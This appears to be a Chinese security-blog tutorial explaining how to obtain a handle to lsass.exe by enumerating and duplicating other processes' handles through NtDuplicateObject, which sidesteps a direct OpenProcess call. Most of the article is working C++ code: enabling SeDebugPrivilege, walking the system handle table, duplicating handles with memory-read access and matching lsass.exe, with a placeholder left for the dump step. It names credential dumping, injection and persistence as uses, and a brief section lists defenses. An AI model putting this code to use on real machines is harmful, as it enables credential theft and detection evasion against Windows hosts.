利用NtDuplicateObject进行Dump
字数 1119 2025-08-24 16:48:07
利用NtDuplicateObject进行进程句柄转储技术详解
1. 技术概述
本文介绍了一种利用Windows Native API(NtDuplicateObject等)进行进程句柄转储的技术,主要用于获取特定进程(如lsass.exe)的句柄并进行内存转储。该技术由国外研究人员在2020年提出,具有以下特点:
- 不需要直接调用OpenProcess打开目标进程
- 通过枚举系统所有句柄并筛选出目标进程的句柄
- 使用句柄复制技术获取目标进程的访问权限
2. 技术原理
2.1 基本流程
- 获取调试权限(SeDebugPrivilege)
- 使用NtQuerySystemInformation枚举所有进程打开的所有句柄
- 使用OpenProcess打开句柄所属进程,赋予PROCESS_DUP_HANDLE权限
- 使用NtDuplicateObject获取远程进程句柄的副本到当前进程
- 使用NtQueryObject函数判断句柄类型
- 如果是进程句柄,使用QueryFullProcessImageName获取进程可执行路径
- 筛选出目标进程句柄进行后续操作
2.2 关键API函数
2.2.1 NtQuerySystemInformation
函数原型:
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
使用参数SystemHandleInformation获取系统句柄信息。
相关数据结构:
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
2.2.2 NtDuplicateObject
函数原型:
NTSYSCALLAPI NTSTATUS NTAPI NtDuplicateObject(
_In_ HANDLE SourceProcessHandle,
_In_ HANDLE SourceHandle,
_In_opt_ HANDLE TargetProcessHandle,
_Out_opt_ PHANDLE TargetHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Options
);
2.2.3 NtQueryObject
函数原型:
NTSYSCALLAPI NTSTATUS NTAPI NtQueryObject(
_In_ HANDLE Handle,
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
_Out_opt_ PVOID ObjectInformation,
_In_ ULONG ObjectInformationLength,
_Out_opt_ PULONG ReturnLength
);
使用参数ObjectTypeInformation获取对象类型信息。
相关数据结构:
typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
ULONG PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
2.2.4 QueryFullProcessImageName
函数原型:
WINBASEAPI BOOL WINAPI QueryFullProcessImageNameW(
_In_ HANDLE hProcess,
_In_ DWORD dwFlags,
_Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName,
_Inout_ PDWORD lpdwSize
);
3. 技术实现
3.1 获取调试权限
使用RtlAdjustPrivilege函数获取SeDebugPrivilege权限:
int SeDebugPrivilege() {
BOOLEAN t;
NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (!NT_SUCCESS(status)) {
cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
return 1;
}
cout << "[+] RtlAdjustPrivilege Success" << endl;
}
3.2 枚举系统句柄
ULONG handleInfoSize = 0x10000;
PSYSTEM_HANDLE_INFORMATION handleInfo;
HANDLE dupHandle;
ULONG returnLength;
HANDLE hProcess = NULL;
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation,
handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
}
3.3 复制并筛选句柄
for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
if (handleInfo->Handles[i].ProcessId != pid) {
continue;
}
// 复制句柄
status = NtDuplicateObject(
processHandle,
(HANDLE)handleInfo->Handles[i].Handle,
GetCurrentProcess(),
&dupHandle,
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
0, 0);
if (status != STATUS_SUCCESS) {
continue;
}
// 查询对象类型
PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
status = NtQueryObject(dupHandle, ObjectTypeInformation,
ObjectTypeInfo, 0x1000, NULL);
if (status != STATUS_SUCCESS) {
CloseHandle(dupHandle);
continue;
}
UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
if (objectType.Length) {
if (wcsstr(objectType.Buffer, L"Process") != NULL) {
wchar_t path[MAX_PATH];
DWORD maxpath = MAX_PATH;
QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
if (wcsstr(path, L"lsass.exe") != NULL) {
printf("Handle:[%#x] Type:%S DupHandle Handle:[%#x]\n",
handleInfo->Handles[i].Handle,
objectType.Buffer,
dupHandle);
}
}
}
}
4. 完整示例代码
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
using namespace std;
int SeDebugPrivilege() {
BOOLEAN t;
NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (!NT_SUCCESS(status)) {
cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
return 1;
}
cout << "[+] RtlAdjustPrivilege Success" << endl;
}
int main(int argc, char* argv[]) {
NTSTATUS status;
ULONG handleInfoSize = 0x10000;
PSYSTEM_HANDLE_INFORMATION handleInfo;
HANDLE dupHandle;
ULONG returnLength;
HANDLE hProcess = NULL;
SeDebugPrivilege();
DWORD pid = 1048; // 目标进程PID
HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
if (!processHandle) {
printf("Could not open PID %d!\n", pid);
return 1;
}
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation,
handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
}
if (!NT_SUCCESS(status)) {
cout << "[-] NtQuerySystemInformation Error" << endl;
return 1;
}
// 枚举所有句柄
for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
if (handleInfo->Handles[i].ProcessId != pid) {
continue;
}
// 复制句柄
status = NtDuplicateObject(
processHandle,
(HANDLE)handleInfo->Handles[i].Handle,
GetCurrentProcess(),
&dupHandle,
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
0, 0);
if (status != STATUS_SUCCESS) {
continue;
}
PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
status = NtQueryObject(dupHandle, ObjectTypeInformation,
ObjectTypeInfo, 0x1000, NULL);
if (status != STATUS_SUCCESS) {
printf("[%#x] Error!\n", handleInfo->Handles[i].Handle);
CloseHandle(dupHandle);
continue;
}
UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
wchar_t path[MAX_PATH];
DWORD maxpath = MAX_PATH;
if (objectType.Length) {
if (wcsstr(objectType.Buffer, L"Process") != NULL) {
QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
if (wcsstr(path, L"lsass.exe") != NULL) {
printf("Handle:[%#x] Type:%S DupHandle Handle:[%#x]\n",
handleInfo->Handles[i].Handle,
objectType.Buffer,
dupHandle);
// 这里可以添加dump内存的代码
}
}
}
}
free(handleInfo);
return 0;
}
5. 技术应用
获取到目标进程的句柄后,可以用于:
- 进程内存转储(如lsass.exe的内存转储)
- 进程注入
- 进程监控
- 权限维持
6. 防御措施
针对此类技术的防御措施包括:
- 启用Credential Guard
- 限制SeDebugPrivilege权限
- 监控NtDuplicateObject等敏感API调用
- 使用受保护的进程(Protected Process)
7. 参考资源
- Windows Native API文档
- https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
- Windows内核编程相关书籍